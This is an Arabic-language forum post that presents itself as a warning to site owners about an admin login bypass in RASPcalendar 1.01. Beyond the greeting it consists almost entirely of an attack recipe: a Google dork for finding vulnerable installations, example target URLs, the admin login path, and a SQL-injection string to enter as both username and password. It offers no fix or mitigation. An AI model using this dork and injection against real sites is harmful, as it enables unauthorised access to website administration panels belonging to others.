لاصحاب المواقع والذين يستعملون احذرو من ثغرة powered by RASPcalendar

سلام عليكم ورحمة الله تعالى وبركاته

ثغرة يجب ان يحذر منها اصحاب المواقع

RASPcalendar 1.01 - Admin Login bypass Vulnerability

#######################
Google Dork: allinurl:RASPcalendar "powered by RASPcalendar"

Example : http://www.mastredz.tk/RASPcalendar/
: http://site.com/events

: etc...

Go to : http://www.mastredz.tk/RASPcalendar/admin/

UserName : 1'or'1
PassWord : 1'or'1